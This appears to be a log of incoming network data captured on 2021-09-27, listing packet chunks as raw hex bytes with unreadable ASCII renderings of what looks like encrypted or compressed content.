2021-09-27 18:32:51 UTC	8	IN	Data Raw: d6 23 63 31 ee 39 4c 91 4b 04 c5 d5 87 fe 7e c2 0f 81 80 07 0f f1 00 8f cd 01 73 b1 1a f0 e8 f4 0d 9c 54 ba 4b 00 2c c6 a9 a7 a9 5b 41 d4 06 3f 31 47 37 9a 55 6f 01 7c 2d 58 76 14 03 69 6d 91 c6 eb a7 33 3e b3 ea 85 f8 9a 55 53 dc 3c b9 ee 69 6e e4 56 fd 97 62 5e 49 1a 09 71 72 04 9c 75 eb 91 42 9a 7b c8 15 6b 23 d4 7b 86 e7 9e 98 5f 44 40 05 18 5b cd d8 23 b9 7e 8f 2d da e5 db a2 a5 32 e5 87 61 3f b8 c8 07 a8 b5 16 d7 0a ec 76 82 c4 3d 36 ae 83 2a 9f 6b 06 b6 37 f4 e9 84 ed 54 1b 05 fa 7a ae 29 5a 64 59 85 19 1e a1 ac 24 27 55 f8 f3 6a d2 a8 55 79 2a 1f 78 1b 74 e2 81 26 17 2d f7 d8 34 b4 8c cb ad 65 92 46 2b 9f 23 6b ad f2 7c 83 40 33 8f ae 9d 53 f0 99 b1 e5 4c 2c 1b aa a4 ad 10 1f 81 6d a5 81 3b e3 9f 27 51 4f a5 76 e0 b6 04 e5 93 56 78 56 ce d3 64 d3 Data Ascii: #c19LK~sTK,[A?1G7Uo\|-Xvim3>US<inVb^IqruB{k#{_D@[#~-2a?v=6k7Tz)ZdY$'UjUyxt&-4eF+#k\|@3SL,m;'QOvVxVd
2021-09-27 18:32:51 UTC	9	IN	Data Raw: b1 fe f1 50 ec 98 7b dd a1 26 ce 78 1e e5 89 ec c7 94 c1 ff 40 f9 97 a0 33 a2 07 f4 ef 76 0f fe 37 c2 95 c9 6c 7e 00 3f 32 f9 1d 09 9d da 95 19 71 bf f8 20 8a 88 b2 19 c3 b9 ec 00 37 07 a1 20 e6 bf 54 f0 f8 ec 07 5d b3 62 f5 f0 42 26 c0 61 c5 e1 83 65 c2 f4 5f 69 b1 03 b1 5f 98 8f 1b d6 fc 18 03 b1 19 96 f3 53 2a 79 2f f6 eb 98 c1 cf 62 e2 98 65 47 ca 52 7a 07 eb 26 40 0e 82 ca ea 04 31 46 68 be a5 42 32 09 71 a9 20 f1 a3 1b 53 58 cc 86 2d 44 92 d4 b7 ca 96 a9 8b d1 4f e8 0a 23 b8 bd 3d 56 c2 ae 1c f7 66 47 78 f9 9b de 89 ba ae 9f 30 c2 ae d3 eb 76 b4 4d 81 97 58 67 ad f3 90 00 93 91 81 92 d9 b1 6c 90 4a 38 1c 3b fb 4c 89 7b a1 53 8a ac 0a e8 a0 ba 6c 20 67 80 47 e1 02 fc 79 85 69 be b2 4d bd f0 56 a0 13 9f 2b 58 57 47 aa 7d 16 b3 a2 a9 22 fe 4d b2 3f f4 Data Ascii: P{&x@3v7l~?2q 7 T]bB&ae_i_S*y/beGRz&@1FhB2q SX-DO#=VfGx0vMXglJ8;L{Sl gGyiMV+XWG}"M?
2021-09-27 18:32:51 UTC	10	IN	Data Raw: 59 e6 21 eb b5 91 f4 27 99 b3 08 3a 2f 2a 43 5e f2 3a 64 ba 7e 05 a4 1c 1b 55 45 ae 2d a3 33 3e 19 16 27 a6 03 7a ad e2 1b 7a 36 da 17 3f 8f a8 23 94 dd a2 c7 19 51 c6 f7 a3 fd b7 17 83 9f 70 1f e3 31 8d e8 e0 1c f7 da f3 39 93 f7 aa 28 31 4e 75 81 5d 16 04 a6 60 8a 17 94 c0 a7 4e 75 af 8b a2 64 a1 25 62 79 d2 24 a0 17 49 d2 a9 33 35 17 84 8f d0 de 92 0d 7d 8c ff 99 09 46 5f 47 b1 b6 6c 26 cd 40 58 30 f6 7c c1 41 f1 67 d2 15 2f 00 b1 bc c2 f6 03 ac 9d b9 e4 a0 f4 74 91 c0 84 ec 12 34 7f a9 cc ea b1 81 6d a7 39 47 80 26 e2 8d ae 33 ca 45 0b 96 9f d9 3f b8 c8 fd a4 bf fe cb 7c 85 18 9c 07 0c f0 ee e9 0e 5d 4b 85 e7 3d d1 39 3c b8 f9 6b c5 7b 08 9c 21 9b 40 b0 7d 4a c3 86 6d 0b 6e c4 77 8d bc f9 c2 32 55 50 9e 55 ef 76 b9 a6 a7 31 eb 3e 51 0d 93 5d f8 2b 59 Data Ascii: Y!':/*C^:d~UE-3>'zz6?#Qp19(1Nu]`Nud%by$I35}F_Gl&@X0\|Ag/t4m9G&3E?\|]K=9<k{!@}Jmnw2UPUv1>Q]+Y
2021-09-27 18:32:51 UTC	12	IN	Data Raw: 3b 3c ba 83 fd f9 a1 a0 77 4d 12 1f 7f 12 b7 36 65 6b 0f 17 95 4c 82 45 ad b8 39 aa 13 01 a1 26 ce 9e d8 9e fc 7e bd 52 64 5d cb 0a 37 63 69 2a 1d e0 14 1b 66 32 40 72 be eb 33 aa a2 a4 bf 67 82 1b 69 21 af 80 15 91 49 5b f2 2d af 88 41 8a ea 0a 33 75 36 d9 42 01 0d 3e aa a4 bf e8 4d 49 a8 3f 9a 55 e6 05 b8 96 d9 97 04 a4 12 a6 bf ec 0f 89 a6 7f 6b 17 38 57 ec 0b 9a 4d 88 30 08 ba c0 8e fe da 38 9e ea bd 08 b5 b6 6d bb eb 86 aa 5b c0 eb 2b 99 a2 b3 09 ad 15 16 a3 73 09 1c 02 30 da 20 13 73 ab ff fd d9 4a 8a e0 0c f9 bb 01 1e 68 f4 04 37 34 bf 45 7b c3 20 44 5e a2 b3 08 3a 0f 95 d4 df 0b 56 64 44 92 d4 a5 7d 00 72 8f d8 25 70 2d 4c 00 bd 24 92 73 6c 28 dd a7 2b 2f 1b 1f 1f c2 ad 00 37 3e a1 58 db 7c 98 66 80 12 1f 79 96 40 9a 12 66 ed b6 85 6e 32 c0 04 9a Data Ascii: ;<wM6ekLE9&~Rd]7ci*f2@r3gi!I[-A3u6B>MI?Uk8WM08m[+s0 sJh74E{ D^:VdD}r%p-L$sl(+/7>X\|fy@fn2
2021-09-27 18:32:51 UTC	13	IN	Data Raw: 79 a0 e5 93 1d d9 7a f5 65 cc 4b 05 b2 82 05 04 f4 13 99 5c 5d ca 77 e2 a9 0b 36 71 40 a0 b8 7c 37 52 c6 96 c2 75 b0 98 ff 95 e0 0f 97 43 08 d0 b4 d3 a6 aa 65 34 09 3d 2a 1c 1d 2c d8 02 06 9c 25 47 a4 fd 49 17 89 7a d1 70 ce 4f f1 67 f3 b3 c8 43 37 f3 01 57 aa fc c5 f1 23 64 45 16 18 ce f4 08 c9 c7 cb f7 af ab 1d 6a 38 bf d1 35 14 51 ef 7b d5 ba 7d 89 61 61 61 c2 64 48 8f 51 39 8c f2 ee ed 6e 17 60 3e e6 0d 99 03 b7 bd 49 ed 6a 3a af 39 fb 9b 58 60 42 89 5c b4 d6 66 47 1b b0 38 c2 46 5c cd f8 2c 29 66 d6 e7 75 31 5d 46 ea 61 d2 0f b8 cc aa 12 cb c3 21 67 75 86 f7 5c 60 6b 0b 64 df 09 a3 fe 3e a9 32 df a0 10 bb f0 a4 ad 11 94 c7 df 40 14 67 06 67 d3 76 08 8f f7 7f 45 f6 e0 1b 76 0d 07 3e bd 33 d5 af 02 34 bd e5 99 88 b6 99 f9 3f 28 1d 74 80 a8 b9 3a 52 64 Data Ascii: yzeK\]w6q@\|7RuCe4=*,%GIzpOgC7W#dEj85Q{}aaadHQ9n`>Ij:9X`B\fG8F\,)fu1]Fa!gu\`kd>2@ggvEv>34?(t:Rd
2021-09-27 18:32:51 UTC	14	IN	Data Raw: 2f 0a fa e7 18 a1 31 ea a4 b3 75 5f 11 84 3b c5 e1 9f 33 3b 9f 79 4f e2 84 66 4e 0d 77 2b 17 6b 67 d2 53 64 4a 97 82 eb 89 60 4d 00 43 3d ae 9b d8 38 bf 91 7a 0d 56 87 74 21 77 97 fe eb 30 da e0 fe dc 2d 42 89 b5 59 2b 40 00 ad 1e 52 d3 b5 60 51 44 ad f4 23 8a ef 79 8a e2 aa 9d f4 f3 de b2 8f 09 ad af 3c 5d 6c 1a 0f 27 01 b3 ab 1b 69 07 56 7b 83 6d b1 7e 5a dd a6 1a 60 28 9f 3e 30 ce 5f 55 15 85 76 0e 06 ef 27 8a e2 ba 7f 88 48 73 b5 17 90 dd 62 67 7e 0b 33 ad 1c 29 c3 e6 74 fc 12 e5 28 3f 33 21 6a 2c 61 9b c4 6d 2b cd d5 c6 c1 5f 9d b0 0c 05 b2 21 7f 85 b4 75 aa ab 1b 76 a8 95 90 c3 25 8b 7d 9a c7 db c6 7e 8e f9 d0 ad 65 eb 94 48 93 5c 96 2c c4 72 36 b3 c5 ae 07 b7 9c 6d b3 a9 85 65 be 8c 2d 7c f7 dd 5a 71 bb ea 05 6a 0a 96 d1 6f 04 2d 33 d3 73 9d 41 8c Data Ascii: /1u_;3;yOfNw+kgSdJ`MC=8zVt!w0-BY+@R`QD#y<]l'iV{m~Z`(>0_Uv'Hsbg~3)t(?3!j,am+_!uv%}~eH\,r6me-\|Zqjo-3sA
2021-09-27 18:32:51 UTC	16	IN	Data Raw: a4 91 eb 6c 08 88 27 54 67 d5 b9 cc 8a 0d ac 31 9c da 3f 20 ed 4c 34 5a 47 a4 2b cd b9 88 f9 d9 24 db 6e c9 1a 11 da 16 b4 bb ec b5 eb 91 91 a9 3f 30 c4 dc 2f 54 0d af 02 31 8c 78 1f 65 c2 ae f9 68 1a 4f 21 c3 fb 49 0a 0a 4f 23 27 24 dc 99 72 ea b9 64 54 5c 48 9b 7d 3b 77 84 68 46 6e 5a 49 2d 72 00 fc 19 95 c9 aa 67 a5 48 fc ea ae f9 a2 05 1d 7a 18 fc d5 ea 18 11 df a7 91 cb 80 c1 e5 83 c3 99 ad 27 73 4d c7 97 45 05 1d b0 94 2d e4 32 dd ef 65 00 91 07 10 18 0a 09 6f 97 88 d3 d4 ca 00 69 a5 2d f1 d6 62 f0 5a 3a b3 c3 e6 5b 82 a4 df b1 07 bc 65 d6 b7 0a 6d e1 2c 64 41 63 63 76 8f 3e b7 bf 98 a5 3a a9 21 6d ea 17 f3 05 0d db 41 3a 8a 90 7d b2 43 f7 5a be ce 0d eb 96 6b 55 b1 e1 58 19 62 2c 7c be f7 6d f2 39 33 22 22 ce a5 e0 ea 5d 35 8c e9 92 84 f3 c7 ca 01 Data Ascii: l'Tg1? L4ZG+$n?0/T1xehO!IO#'$rdT\H};whFnZI-rgHz'sME-2eoi-bZ:[em,dAccv>:!mA:}CZkUXb,\|m93""]5
2021-09-27 18:32:51 UTC	17	IN	Data Raw: f6 26 5e 48 96 9b 52 32 d5 55 f9 e3 86 e5 64 20 5c 46 91 03 bb a8 a9 da 56 a2 be 7e c5 74 21 55 51 8b 9c fa 15 e0 ad 16 0a 79 99 1e fc 31 44 57 fa ec ca fc c0 53 43 a7 c2 4c 79 99 f8 ee e7 da 34 ef 70 c4 f6 28 de 20 26 7c 10 2e 0b b5 e4 25 85 42 9d 5a 71 61 48 92 1f 1c 04 1c bf e2 2c 38 48 a8 a5 2d f0 6d a3 13 54 6e 23 64 49 39 86 10 35 91 78 67 60 69 73 4b 38 6c ff 4b ec ca e1 30 7b a5 fb cb e5 f7 da e1 a7 9e 48 32 37 89 6a 2f 5e 64 71 d5 25 2c d7 b6 96 d2 63 7e b7 4c 6f b9 fc f5 56 a5 93 06 c1 f9 70 c6 98 f2 e1 90 8c ff 41 0d 8b ac 5c 0f 9a d4 3e ec 12 3d bc be 31 47 0e 1a f3 9d 1e df bf fc b7 90 9a d0 47 1b 6e 0b 2d fc 9d 4f f8 eb b8 45 de ee ac 99 5c 4a 60 79 a8 a2 b0 ed df f7 77 96 d1 c1 d9 7e c5 ba 68 2e db 8f f6 93 a3 20 ee f1 66 63 0a 99 12 09 a5 Data Ascii: &^HR2Ud \FV~t!UQy1DWSCLy4p( &\|.%BZqaH,8H-mTn#dI95xg`isK8lK0{H27j/^dq%,c~LoVpA\>=1GGn-OE\J`yw~h. fc
2021-09-27 18:32:51 UTC	18	IN	Data Raw: c2 67 c1 cf e1 a2 4d 3a 8d 6b b8 c1 4b 1d 25 7b c2 78 b0 90 da 28 d6 25 8a 8d 59 fa e0 19 a2 25 a7 91 ea 03 a2 a5 d4 65 e9 86 f5 34 b1 a6 68 b5 38 02 b6 51 4f f3 63 e6 da e5 1c 4d 17 95 bb dc 16 02 31 7c f6 11 bc 78 19 c0 ce 5e 78 99 25 51 5e e9 4c 86 f8 f7 d8 3e b5 18 30 18 18 00 3a ad 20 2d b7 22 45 32 f3 1f fc f7 af ea 22 41 88 c9 1b 87 59 2d 15 8c cd 78 b4 20 f3 66 44 2c d2 59 53 35 2b 43 0b b1 39 db 5b 2b 47 19 fe 1f 5e 73 af 10 85 b7 63 24 63 dc 28 ce fb 9e 9e 9d 48 88 cd 7d 3a 21 b7 01 b5 36 76 99 b9 49 14 1b 5e ba fb 63 d1 c0 25 71 16 bc e5 98 cc 4f d0 61 3c 2f 66 5a 73 1b e4 33 80 99 65 cf dd b6 84 be 66 68 a8 62 76 0d 8a f0 f8 f2 e4 15 6f 2b 7b 99 5b 14 a4 b1 d6 8e dd a4 a3 26 6f 11 1c fb 55 e7 a4 64 22 e4 df 10 36 a7 3f 35 37 fd 7a 3c ad 08 72 Data Ascii: gM:kK%{x(%Y%e4h8QOcM1\|x^x%Q^L>0: -"E2"AY-x fD,YS5+C9[+G^sc$c(H}:!6vI^c%qOa</fZs3efhbvo+{[&oUd"6?57z<r
2021-09-27 18:32:51 UTC	20	IN	Data Raw: 14 a3 5f 3f 66 44 d9 ad 2c 62 73 b4 71 21 4b 0f 93 12 1c 49 2c 4d 33 fd 92 1c f5 6d b1 37 d9 df 82 1f 7d 4b c4 b3 03 bf fa b0 5d 9a d9 39 7e 0e 52 66 69 0d 31 7e 22 17 d0 bf ee fe 63 55 81 a3 fb fd 10 49 4d 1d ba 44 3a 96 63 08 9c e6 50 76 49 09 ed 6f f4 ef 29 40 e5 93 1e fa 26 67 02 27 4f ff 79 d0 58 6b 2d fc 25 43 b4 ec 99 f5 88 d2 df 2a 44 46 ee Data Ascii: _?fD,bsq!KI,M3m7}K]9~Rfi1~"cUIMD:cPvIo)@&g'OyXk-%C*DF
2021-09-27 18:32:51 UTC	20	IN	Data Raw: d0 78 dd 52 5e 94 98 d5 ed 61 eb 6e 8f d5 a4 a3 48 24 24 4e 67 a1 b6 8d 7f 9a c4 25 21 5d 1c 3a b9 eb 84 ff 9a 7a 2a d1 d2 52 b0 2b 54 7a 18 14 8a 20 29 53 f9 69 50 ff 99 49 06 e7 2d 41 c3 fd 59 e4 16 3c 9f 96 99 23 fb b0 a6 42 19 fb 3a c5 60 69 0e e7 3a 5f fe c9 d5 b5 3a 14 38 b0 ad a3 d7 a6 19 21 74 32 d0 f3 21 7a ac 80 1b be 43 03 a3 23 44 f2 5f 9d 58 6b b4 99 79 55 26 3b 2f 48 8e 82 a5 13 25 0c f3 10 13 db b6 12 66 ab 4d 10 4d 0b ac 5d 60 45 2e 01 0d 70 2f 5f c3 0d da 19 79 93 27 cb 87 6d bf ee ff 67 0c a3 cf d8 23 76 38 80 c7 10 ed 79 9a d6 c1 c2 47 17 82 c5 a9 23 27 4d 54 6d 03 0b 6b b9 e1 91 66 7a e9 08 1d 7f 82 41 12 59 eb 4a 3a 5c 59 f2 e5 bd da c6 95 7d 9c d3 0f 2e 3d 24 e0 03 92 26 67 e2 05 bf 73 9c c7 d4 2e 8d 62 1b 6c 0f 16 b7 7d 79 97 47 0a Data Ascii: xR^anH$$Ng%!]:z*R+Tz )SiPI-AY<#B:`i:_:8!t2!zC#D_XkyU&;/H%fMM]`E.p/_y'mg#v8yG#'MTmkfzAYJ:\Y}.=$&gs.bl}yG
2021-09-27 18:32:51 UTC	21	IN	Data Raw: d8 36 11 58 20 fe d4 3d 4a 95 3c bd 5c 91 1e e2 10 18 3f 2d 08 25 f7 0b 52 4e 69 aa a1 de be c8 5c 4d b1 d9 a4 a8 a4 ac ae 59 5b 20 d6 90 91 56 61 d5 9f 10 d0 83 97 55 ec 14 f5 e4 a4 ac 94 10 aa 62 5e 4b 06 06 c1 b6 a7 33 28 1e 5f e0 51 fd e4 b5 5e 7a da 41 ba 55 5e eb 7c 0c 1f 66 6e c8 24 da 30 c4 27 5e e5 b5 ab 24 56 a1 df af 1e f6 ca b3 2b 9c 01 30 e8 b8 c4 9a c4 60 5a 48 75 aa 98 d1 c1 ac 9e 03 c3 68 07 1c 44 7f 86 fc df 80 fc d5 9d 5f cb 6d 1f 60 16 05 11 53 b1 00 2a c5 df 61 6a c1 f7 6a 2e f3 8c 0c 25 65 cd 8c e6 a0 06 60 42 84 fd 60 e0 d5 41 1b 70 29 6b 41 81 b8 72 27 30 68 1c 40 13 ae 86 e7 84 d8 f7 a4 45 12 03 a2 87 ef b0 b2 8c e8 09 f3 75 91 4c 2a 1d 45 15 84 e0 4c 97 59 f1 c0 a5 19 75 a4 a1 82 b6 b3 1a e4 14 f5 e4 3c a6 a9 ef 03 be 25 70 11 51 Data Ascii: 6X =J<\?-%RNi\MY[ VaUb^K3(_Q^zAU^\|fn$0'^$V+0`ZHuhD_m`Sajj.%e`B`Ap)kAr'0h@EuLELYu<%pQ
2021-09-27 18:32:51 UTC	22	IN	Data Raw: 74 bf 92 6b e9 85 28 ce e7 e2 d6 7c 05 ea 08 8a 91 8e c7 c5 53 e5 3c d5 3c ec 0a 1a ea ae fa 31 0b 9f 79 8a 78 71 70 75 b0 c3 ee 69 c4 ea 2c d3 f9 73 0d e6 b4 ad 19 56 68 ad 61 72 70 3d 74 21 f0 86 55 da 39 66 51 5d b7 95 11 94 95 41 27 96 12 95 6a bb 43 5e 5d d8 3b c0 72 e6 0e 0a 65 c7 9c d1 0d 2c 80 16 14 1a de 07 44 b6 47 0c 11 c4 7c cd f1 95 7e c9 61 9f 3a be 61 ee 07 38 9d 4d 1d ba cc 1f 7f 99 5a 44 b5 eb 74 ce 48 81 31 f0 bf fc cd cd 8b 6c 33 3b 3d 1b 80 5b 6a 34 bf b6 88 a3 28 6c fc 8d 68 34 b9 dd 9d ab 03 76 00 3a 67 6e 85 3f 21 a0 39 bb c7 6a 83 3a ab 1d 68 1e 0e 5a 5a 7e 1a b5 0c d8 41 fb 72 e9 3b 75 a5 3b 3a 80 ee b9 db a0 a8 14 b3 5e 5f d4 3f 12 2b ae 14 e0 0e 08 68 35 ff 27 ae bb 36 0a 7b 97 58 70 02 dd dd 80 0d 8b da 94 83 78 18 03 83 5a 9d Data Ascii: tk(\|S<<1yxqpui,sVharp=t!U9fQ]A'jC^];re,DG\|~a:a8MZDtH1l3;=[j4(lh4v:gn?!9j:hZZ~Ar;u;:^_?+h5'6{XpxZ
2021-09-27 18:32:51 UTC	24	IN	Data Raw: 39 ac 24 be 7e d3 2d 3b cd f7 90 1f 74 89 12 fe f0 29 02 fe 4c f7 9f 19 79 9b 83 e3 e4 ef ab b9 3c 47 a2 d8 27 e9 c3 46 66 be 45 61 cf d6 72 20 5e eb 25 4c 49 c7 2e ce 5b cd e3 70 55 89 73 b1 42 9e 0c 70 d7 91 e4 83 99 5d d6 27 6b 50 03 dd a9 23 db 3e c8 79 b7 24 55 04 02 95 1f 54 dd 7c 82 39 b3 f1 82 98 e9 3f d5 09 40 b6 ad a8 f8 ed bb 40 a8 b2 9c d3 87 09 a7 6d bb cd 06 6d 5c ed 3d 32 cb 7a d1 79 81 ae 5f 64 5f c6 4a 9f f9 aa 56 77 9f 2a e9 dd ad 33 fd ee 04 28 cd db 91 4c 1c 76 85 35 70 9a b8 77 2f 47 48 87 6e 8a fe fb 92 a1 3b 3c 3b 9a b9 e9 49 c2 93 62 ff e2 1e f0 f3 7b 57 2c 47 18 0c 0d a9 0b 83 9c 07 a9 20 ca 51 68 f6 48 d4 1f ab 60 4a 40 1f 80 86 f7 d4 1a 88 df 80 3b 2e 68 f5 c3 af 17 33 43 1d b1 10 d3 81 b9 c3 f6 47 cb af f0 82 af 49 17 36 a1 fb Data Ascii: 9$~-;t)Ly<G'FfEar ^%LI.[pUsBp]'kP#>y$UT\|9?@@mm\=2zy_d_JVw*3(Lv5pw/GHn;<;Ib{W,G QhH`J@;.h3CGI6
2021-09-27 18:32:51 UTC	25	IN	Data Raw: d8 39 3b 29 e9 2d ba b3 1b 67 c2 5c ef ab ea c3 ed 7b 92 16 f3 63 ce 4a 36 73 f0 ec 04 f8 77 8a e5 99 fd e4 28 da 30 0d 3c a9 34 aa 88 36 f1 76 5f c4 36 b2 b3 20 05 65 3e a9 37 fc 71 aa 68 a3 72 5d 11 5b 9f 01 87 6b 7e c7 f3 64 49 09 68 41 55 d4 04 84 4b 3e b2 90 d3 42 5f c4 73 b5 b3 9c cf 7b 31 0d b7 39 06 c3 cc 5d db aa 1c 63 c0 a5 8f 39 3c 9a f3 ed bc ba c8 4f e9 96 c0 67 c8 6d 7a ed 4e ec 7c 10 3b 7e 3b 00 13 67 be 91 4c 92 11 3e b7 bb 6b ee dd f7 01 02 f6 3a 8d 42 76 07 c5 ec 0e ac 2f 86 f5 7b 92 9d c7 83 74 f2 8c 4b 3f 08 e0 61 31 8e 8c 06 9a ab 0b b9 35 44 bd ce 89 2e 2b fa 9c 10 79 97 4e 7d 6d b5 f6 fb 4f 32 5e 78 6d 16 42 93 67 77 58 87 50 b1 3f ae a8 8e c0 54 46 b9 c2 58 4a a0 bb 51 35 9e ec 06 39 33 0e 2e e6 d8 cd e9 20 43 8b 02 51 7b 0d a2 71 Data Ascii: 9;)-g\{cJ6sw(0<46v_6 e>7qhr][k~dIhAUK>B_s{19]c9<OgmzN\|;~;gL>k:Bv/{tK?a15D.+yN}mO2^xmBgwXP?TFXJQ593. CQ{q
2021-09-27 18:32:51 UTC	26	IN	Data Raw: c8 e7 ab 02 f7 10 0b c3 f3 00 87 e2 0a 45 bb a4 40 57 e2 da 3c d4 8a 94 18 cc 0f 91 58 29 02 83 76 ae 7f 9d 0d ad a8 65 ba 22 e0 1b 65 6d 7e 1e f0 e4 17 9f 7b 96 60 6f b7 55 e6 35 12 29 ad 6a cb c1 f7 db 07 ae a6 9a f6 7c b9 57 5a 63 5e fe 65 5a 68 56 55 5c bd 47 cb d2 8e cf db 63 62 09 95 e9 f9 6c ff ac 8c a7 39 41 0c 10 02 27 12 1e b5 14 29 e7 e9 90 e2 24 00 39 c8 57 fa 5d 4b 05 82 9f af 81 a9 e7 79 21 9a bb ff 45 06 6e 96 c4 7f 84 4a 43 8e 0f 86 fd 16 00 1a 52 c3 4c 68 20 ec 15 78 9d 34 b1 18 b8 d1 c6 0b 09 b1 10 11 64 61 ee e5 86 3b 8e e1 b9 38 78 8e 1c fb 4f cc a7 3f c2 67 c2 d8 10 d8 0e e1 2b 19 7c 0f d3 25 7a 00 2d f8 2f df 51 fc df 81 33 89 b3 35 cc 41 61 c7 db 69 94 69 94 2f de 59 f6 e8 cf 7d 98 02 5d 64 73 f2 3c a2 be 74 02 cf f3 16 15 99 f6 46 Data Ascii: E@W<X)ve"em~{`oU5)j\|WZc^eZhVU\Gcbl9A')$9W]Ky!EnJCRLh x4da;8xO?g+\|%z-/Q35Aaii/Y}]ds<tF
2021-09-27 18:32:51 UTC	28	IN	Data Raw: 3e 14 da 7e 5e e8 99 43 86 82 50 fb c2 f4 27 5b 1b aa 89 0c 1f dd 30 ed 81 b4 35 da 32 70 85 68 38 c3 9a dd bd 05 2a 6d a5 bb b4 76 37 97 9f ea a5 f0 a4 87 5d 63 2d 28 cb fb aa 6d 23 2f 27 66 53 9b 9d 1f 1c 95 e0 1f a1 fd ae 48 b2 3e d9 96 e5 c0 a9 39 22 13 15 74 58 bc 74 e5 41 b2 5b c8 55 24 78 76 0f 68 31 40 9e 96 26 25 ad 37 f5 49 49 3d d7 4b 33 25 82 b7 f5 90 eb f4 07 d6 77 cf 8b 68 7e f3 f9 85 4c 2f 4a 49 b3 ca b8 9b 97 9a a6 0c 8c 70 9b 3f f0 09 35 35 ba 88 09 0b f8 12 ef c6 7d f1 98 23 0f 21 21 a9 72 8f ae 34 88 6f 02 cf 88 18 d5 fa 1e cd 2e 08 1d cb f1 09 a7 c1 cb 24 cb fe bf f6 bf 8a 24 63 88 36 15 21 7e d3 7b 08 51 c2 1b 86 24 a8 a1 5b 30 6b 66 3a bc 17 e7 f6 d2 64 5b b4 0d 39 50 c5 cd fa 55 b7 d9 c4 9d 97 4c 28 a5 18 85 a9 b8 da 68 bb 5c 37 c0 Data Ascii: >~^CP'[052ph8*mv7]c-(m#/'fSH>9"tXtA[U$xvh1@&%7II=K3%wh~L/JIp?55}#!!r4o.$$c6!~{Q$[0kf:d[9PUL(h\7
2021-09-27 18:32:51 UTC	29	IN	Data Raw: 83 cb 48 89 89 37 42 96 d1 a9 44 86 a9 20 31 5b ce 41 17 b7 3f 04 f5 8b 49 ae d2 19 40 48 0c 3a a6 ae a9 77 8a 14 81 da 20 f0 30 ab 50 29 47 5b d9 94 fa 07 1a 53 fe c7 61 28 10 bf ce f0 fa a3 1e cb 28 fc a9 2e cb 11 24 d8 25 77 8f 5f ed b2 2e 26 14 a0 ba 76 d2 e3 8c 22 40 eb f2 d8 13 60 13 f3 6f bd 4d 9d 4a 4d 9d 1f 1c 76 72 9f f6 52 7d ad 25 4e 9a 11 e0 10 04 f9 fe c3 0e 1f 0e 06 3a 1b 15 99 a2 c3 c1 ea 13 fd 7d 91 ec 22 fa eb 43 21 61 18 6c 20 ec 9a e0 2e a5 b9 c1 29 ad 3a 03 24 cb 15 71 9e 76 40 a3 ff be 2a d5 dd 30 f8 c5 7f ac 28 95 5b 8d 7d ca 54 63 c4 66 12 1f 7e 16 07 ec 00 0f 00 24 f4 fa f0 e9 1a 8d 77 94 c4 6e 3d df 7b f2 eb 93 e4 88 ed b1 1e 3b 8e be 56 ad 18 c6 3c b1 a0 bc 25 71 94 f3 3e ab 39 cb 00 28 c6 43 a5 81 88 86 fb 5d d2 d5 e2 75 13 97 Data Ascii: H7BD 1[A?I@H:w 0P)G[Sa((.$%w_.&v"@`oMJMvrR}%N:}"C!al .):$qv@*0([}Tcf~$wn={;V<%q>9(C]u
2021-09-27 18:32:51 UTC	31	IN	Data Raw: 80 14 20 ec ab db 36 e6 24 d9 e5 8a a0 bc 98 18 33 3c a5 2c 03 22 21 c6 55 2f fc d8 a7 17 d4 20 2c d2 40 8a f2 54 54 56 eb 7f ab 89 70 20 75 5b f6 05 cc b6 13 ef ae 8d b7 28 15 77 56 8e 30 da 2f 49 24 d7 90 a5 85 28 54 6f a4 a5 07 6e 5f d2 8a 24 d6 34 ab 08 e4 af 21 61 d5 a9 1d 8d 9d 26 d1 c1 5e 1e fa 51 41 0d 86 fc d1 7c 52 6e 1c d2 b8 0c 1c e0 09 18 9d 5f 35 8a a4 b1 01 01 70 81 8f 7f 84 4a 0c 18 10 a3 37 3f bf 9d 4e 7d 81 93 46 64 54 c3 31 44 95 5b db fd 99 2e b2 8d 4e 94 b7 32 d5 ae 17 33 d2 45 1e f7 2d 5f 91 8e fa fe d7 07 62 65 c4 60 5a 4a b5 39 08 dc be 6c 3b 31 f4 46 a6 1b b0 67 c7 d1 c6 ee 5e 0c 7f a1 f4 7b ce 5e 59 e5 90 9c de ef d8 64 58 65 c6 5f 83 62 86 52 32 d0 55 e7 84 b2 88 3c f8 5e 48 d8 14 bb 93 44 e7 4d 74 3b e7 67 dd f9 ac 58 56 72 de Data Ascii: 6$3<,"!U/ ,@TTVp u[(wV0/I$(Ton_$4!a&^QA\|Rn_5pJ7?N}FdT1D[.N23E-_be`ZJ9l;1Fg^{^YdXe_bR2U<^HDMt;gXVr
2021-09-27 18:32:51 UTC	32	IN	Data Raw: 4c 4b 39 36 e8 11 ad 3a 66 3d a3 0f bc 91 fe a8 a5 3a 1f de 00 87 e0 07 1c 9b fd ed ca 9f 4f 5d c7 1c 92 c0 7c 1e 8f bd e7 3c d0 49 06 3b 90 6c d5 80 c2 d4 2f 83 b1 a0 af 05 bd dc ea bf 40 a8 b0 84 c6 63 f5 4e 9c 5d d1 d0 47 bf 43 1f ab be 91 48 83 7c 07 6f 94 0e 24 53 8c 1d 59 11 8f 8e f2 e7 3a 6a a7 0c d8 17 53 dc 0d 62 c1 dc 3f 35 86 6a 24 51 62 15 88 41 73 2a fa cb 24 8d 60 4b 10 df 0f 95 ae 77 94 c4 61 34 12 30 c9 c1 4a 86 f7 64 41 7f a8 b8 ce f2 6c 32 c2 7b 93 c5 51 98 cc 53 65 0b e6 1b cf b7 8c d4 0d b3 f4 f9 69 b2 8e 28 a1 23 ca 45 41 db 69 ec 1c fb 4b 85 16 1a 48 af 0f d6 36 87 5e 96 bd 22 c7 e5 6c 37 57 eb 8c 51 59 d5 70 8f 2a dc 44 6e ca 9a d0 50 69 ca 56 a5 02 a5 9d ff c5 f4 f0 f9 5a 5b d2 e9 a3 fc a3 8e 51 74 62 4f fd 5a 94 37 2b 4a 9d f4 26 Data Ascii: LK96:f=:O]\|<I;l/@cN]GCH\|o$SY:jSb?5j$QbAs$`Kwa40JdAl2{QSei(#EAiKH6^"l7WQYpDnPiVZ[QtbOZ7+J&
